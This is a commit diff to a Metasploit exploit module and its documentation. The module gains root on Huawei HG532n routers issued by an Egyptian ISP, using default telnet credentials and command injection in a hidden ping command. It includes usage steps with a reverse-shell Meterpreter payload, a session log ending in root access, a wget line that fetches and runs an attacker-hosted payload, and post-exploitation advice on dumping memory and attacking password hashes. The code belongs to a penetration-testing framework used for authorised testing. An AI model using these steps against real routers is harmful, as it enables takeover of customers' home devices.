Skip to content

Commit 7daec53

Browse files
committed
huawei_hg532n_cmdinject: Improve overall documentation
- Add section on compiling custom binaries for the device - Add documentation for Huawei's wget flavor (thanks @h00die) - Abridge the module's info hash contents (thanks @wwebb-r7) - Abridge the module's comments; reference documentation (@h00die)
1 parent 8a30246 commit 7daec53

File tree

2 files changed

+111
-39
lines changed

2 files changed

+111
-39
lines changed

documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md

Lines changed: 96 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
## Introduction
44

55
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
6-
injection exploit in the ping field of their limited shell interface.
6+
injection exploit in the hidden ping command of their limited shell interface.
77

88
Affected hardware/software version strings:
99

@@ -16,9 +16,28 @@ Affected hardware/software version strings:
1616
Software Version: V100R001C105B016 TEDATA
1717
```
1818

19+
TE-Data, the incumbent ISP operator in Egypt, provided this router to customers
20+
by default. The web interface has two kinds of logins, a "limited" user:user login
21+
given to all customers, and an admin mode used by company's technical staff. For
22+
hosts within the ISP network, this web interface is remotely accessible.
23+
24+
The web interface's user mode provides very limited functionality – only WIFI
25+
passwords change and NAT port-forwarding. Nonetheless by port forwarding the
26+
router's own (filtered) telnet port, it becomes remotely accessible. All installed
27+
routers have a telnet password of admin:admin.
28+
29+
Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet
30+
daemon does not provide a direct linux shell. Rather a very limited custom shell
31+
is provided instead: "ATP command line tool". The limited shell has a ping command
32+
which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit
33+
that through command injection to gain Meterpreter root access.
34+
35+
[*] `<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml`
1936

2037
## Usage
2138

39+
With an attacker node that resides within the ISP network, do:
40+
2241
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
2342

2443
- Set `RHOST` to the target router's IP
@@ -68,7 +87,7 @@ and `DOWNFIILE` to the payload's path on that server. Run the exploit
6887
afterwards.
6988

7089

71-
## Live Scenario
90+
## Live Scenario (Verbose)
7291

7392
```
7493
$ msfconsole
@@ -156,3 +175,78 @@ Architecture : mips
156175
Meterpreter : mipsbe/linux
157176
meterpreter >
158177
```
178+
179+
## Post-exploitation
180+
181+
### MIPS toolchain
182+
183+
Beside a basic meterpreter shell, you can compile your own C programs and
184+
run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2)
185+
MIPS toolchain then compile your programs in the following manner:
186+
187+
188+
```
189+
#!/bin/bash
190+
191+
TOOLCHAIN_ROOT=mips-2016.05
192+
CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu-
193+
194+
${CROSS_COMPILE}gcc \
195+
--sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \
196+
-Wl,-dynamic-linker,/lib/ld-uClibc.so.0 \
197+
-static \
198+
program.c
199+
200+
${CROSS_COMPILE}strip -s a.out -o payload
201+
```
202+
203+
Then call `wget` to download and run the generated `payload` above. Be careful
204+
of the device's own wget call conventions below.
205+
206+
### A special wget command
207+
208+
Huawei crafted their own `wget` implementation inside the shipped version of
209+
busybox. It has the following syntax:
210+
211+
212+
```
213+
meterpreter > shell
214+
Process 17951 created.
215+
Channel 1 created.
216+
wget -h
217+
wget: invalid option -- h
218+
BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary
219+
220+
Usage: wget [OPTION]... HOST
221+
222+
wget download and upload a file via HTTP
223+
224+
Options:
225+
-g Download
226+
-s Upload
227+
-v Verbose
228+
-u Username to be used
229+
-p Password to be used
230+
-l Local file path
231+
-r Remote file path
232+
-P Port to be used, optional
233+
-B Bind local ip, optional
234+
-A Remote resolved ip, optional
235+
-b Transfer start position
236+
-e Transfer length
237+
-m Max transfer size
238+
-c Compress downloaded file
239+
```
240+
241+
### Rootfs image
242+
243+
Extract `/dev/mtdblock[0123]` images from the device to gain full raw access to
244+
the flash. Use [binwalk](https://github.com/devttys0/binwalk) on the extracted
245+
`/dev/mtdblock3` contents to get a full squashfs rootfs image.
246+
247+
The most important files in the rootfs image are encrypted though. Nonetheless,
248+
by dumping `/dev/mem` contents and looking for the juicy bits, you will find
249+
all the necessary information needed ;-)
250+
251+
Note that even after configuration decryption, all the now-plaintext important
252+
configuration files store passwords in a SHA-256 hashed form. Be creative.

modules/exploits/linux/http/huawei_hg532n_cmdinject.rb

Lines changed: 15 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -17,35 +17,22 @@ def initialize(info = {})
1717
super(update_info(
1818
info,
1919
'Name' => 'Huawei HG532n Command Injection',
20-
'Description' => %q{
21-
22-
The Huawei HG532n routers are vulnerable to a command injection exploit
23-
in the ping field of their limited shell interface.
24-
25-
TE-Data, the incumbent ISP operator in Egypt, provides this router to
26-
customers by default. The web interface has two kinds of logins, a
27-
"limited" user:user login given to all customers, and an admin mode used
28-
by company's technical staff. From machines within the TE-Data network,
29-
this web interface is remotely accessible.
30-
31-
The web interface's user mode provides very limited functionality, only
32-
WIFI passwords change and NAT port-forwarding. Nonetheless by port
33-
forwarding the router's own (filtered) telnet port, it becomes remotely
34-
accessible. All installed routers have a telnet password of admin:admin.
35-
36-
Due to the ISP's (encrypted) runtime router configuration [*] though,
37-
the telnet daemon does not provide a direct linux shell. Rather a very
38-
limited custom shell is provided instead: "ATP command line tool". The
39-
limited shell has a ping command which falls back to the system shell
40-
though ("ping %s > /var/res_ping"). We exploit that through command
41-
injection to gain Meterpreter root access.
42-
43-
[*] <X_ServiceManage TelnetEnable="1" TelnetPort="23" ConsoleEnable=""/>
44-
at encrypted, read-only, /etc/defaultcfg.xml.
45-
},
20+
'Description' => %q(
21+
This module exploits a command injection vulnerability in the Huawei
22+
HG532n routers provided by TE-Data Egypt, leading to a root shell.
23+
24+
The router's web interface has two kinds of logins, a "limited" user:user
25+
login given to all customers and an admin mode. The limited mode is used
26+
here to expose the router's telnet port to the outside world through NAT
27+
port-forwarding.
28+
29+
With telnet now remotely accessible, the router's limited "ATP command
30+
line tool" (served over telnet) can be upgraded to a root shell through
31+
an injection into the ATP's hidden "ping" command.
32+
),
4633
'Author' =>
4734
[
48-
'Ahmed S. Darwish <[email protected]>', # Vulnerability discovery + msf module
35+
'Ahmed S. Darwish <[email protected]>', # Vulnerability discovery, msf module
4936
],
5037
'License' => MSF_LICENSE,
5138
'Platform' => ['linux'],
@@ -480,16 +467,7 @@ def download_and_run_payload(payload_uri)
480467
srv_port = datastore['SRVPORT'].to_s
481468
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
482469

483-
# Custom Huawei busybox (v1.9) wget
484-
#
485-
# Options:
486-
# -g Download
487-
# -s Upload
488-
# -v Verbose
489-
# -l Local file path
490-
# -r Remote file path
491-
# -P Port to be used, optional
492-
#
470+
# Check module documentation for the special wget syntax
493471
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
494472

495473
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.

0 commit comments

Comments
 (0)